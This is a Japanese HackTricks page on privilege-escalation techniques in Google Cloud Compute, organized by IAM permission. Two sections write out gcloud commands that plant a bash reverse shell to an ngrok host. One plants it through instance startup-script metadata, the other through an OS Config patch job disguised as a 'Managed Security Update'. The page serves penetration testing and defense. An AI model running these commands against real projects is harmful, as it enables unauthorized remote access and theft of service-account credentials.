GCP - Compute Privesc

Support HackTricks

Compute

GCPにおけるComputeとVPC(ネットワーク)に関する詳細情報は、以下を確認してください:

GCP - Compute Enum

インスタンスのメタデータを変更する必要があるすべての特権昇格攻撃(新しいユーザーやSSHキーの追加など)を実行するには、インスタンスに添付されたSAに対してactAs権限を持っている必要があります。たとえSAがすでに添付されていてもです!

compute.projects.setCommonInstanceMetadata

この権限を持つことで、インスタンスメタデータ情報を変更し、ユーザーの認証キーを変更したり、sudo権限を持つ新しいユーザーを作成することができます。したがって、任意のVMインスタンスにSSHで接続し、そのインスタンスが実行しているGCPサービスアカウントを盗むことができます。 制限事項:

  • GCPサービスアカウントは、VMインスタンスでデフォルトで非常に限られたスコープを持っています。

  • ログインするためにSSHサーバーに接続できる必要があります

この権限を悪用する方法についての詳細は、以下を確認してください:

GCP - Add Custom SSH Metadata

新しいスタートアップスクリプトを追加し、インスタンスを再起動することでこの攻撃を実行することもできます:

gcloud compute instances add-metadata my-vm-instance \
--metadata startup-script='#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18347 0>&1 &'

gcloud compute instances reset my-vm-instance

compute.instances.setMetadata

この権限は、プロジェクト全体ではなく特定のインスタンスに対して前の権限と同じ特権を与えます前のセクションと同じ脆弱性と制限が適用されます

compute.instances.setIamPolicy

この種の権限は、前の権限を持つ役割を自分に付与し、これを悪用して特権を昇格させることを可能にします

compute.instances.osLogin

OSLoginがインスタンスで有効になっている場合、この権限を使用して**gcloud compute ssh [INSTANCE]を実行し、インスタンスに接続できます。インスタンス内ではroot権限はありません**。

この権限を使用してVMインスタンス内に正常にログインするには、VMにアタッチされたSAに対してiam.serviceAccounts.actAs権限を持っている必要があります。

compute.instances.osAdminLogin

OSLoginがインスタンスで有効になっている場合、この権限を使用して**gcloud compute ssh [INSTANCE]を実行し、インスタンスに接続できます。インスタンス内ではroot権限があります**。

この権限を使用してVMインスタンス内に正常にログインするには、VMにアタッチされたSAに対してiam.serviceAccounts.actAs権限を持っている必要があります。

compute.instances.create,iam.serviceAccounts.actAs, compute.disks.create, compute.instances.create, compute.instances.setMetadata, compute.instances.setServiceAccount, compute.subnetworks.use, compute.subnetworks.useExternalIp

サービスアカウントが割り当てられた仮想マシンを作成し、メタデータにアクセスしてトークンを盗むことが可能です。これにより、特権を昇格させることができます。

この方法のためのエクスプロイトスクリプトはこちらで見つけることができます。

osconfig.patchDeployments.create | osconfig.patchJobs.exec

**osconfig.patchDeployments.createまたはosconfig.patchJobs.exec**権限を持っている場合、パッチジョブまたはデプロイメントを作成できます。これにより、環境内で横移動し、プロジェクト内のすべてのコンピュートインスタンスでコード実行を得ることができます。

現在、インスタンスにアタッチされたSAに対して**actAs権限は必要ありません**。

これを手動で悪用したい場合は、パッチジョブ または デプロイメントを作成する必要があります。 パッチジョブを実行するには:

cat > /tmp/patch-job.sh <<EOF
#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18442 0>&1
EOF

gsutil cp /tmp/patch-job.sh gs://readable-bucket-by-sa-in-instance/patch-job.sh

# Get the generation number
gsutil ls -a gs://readable-bucket-by-sa-in-instance

gcloud --project=$PROJECT_ID compute os-config patch-jobs execute \
--instance-filter-names=zones/us-central1-a/instances/<instance-name> \
--pre-patch-linux-executable=gs://readable-bucket-by-sa-in-instance/patch-job.sh#<generation-number> \
--reboot-config=never \
--display-name="Managed Security Update" \
--duration=300s

パッチデプロイメントを展開するには:

gcloud compute os-config patch-deployments create <name> ...

The tool patchy は、過去にこの誤設定を悪用するために使用されていました(しかし、現在は動作していません)。

攻撃者はこれを持続性のために悪用することもできます。

compute.machineImages.setIamPolicy

コンピュートイメージに対して追加の権限を付与します。

compute.snapshots.setIamPolicy

ディスクスナップショットに対して追加の権限を付与します。

compute.disks.setIamPolicy

ディスクに対して追加の権限を付与します。

アクセススコープのバイパス

このリンクをたどると、アクセススコープをバイパスするためのアイデアが見つかります。

GCPコンピュートインスタンスにおけるローカル特権昇格

GCP - local privilege escalation ssh pivoting

参考文献

HackTricksをサポートする

Last updated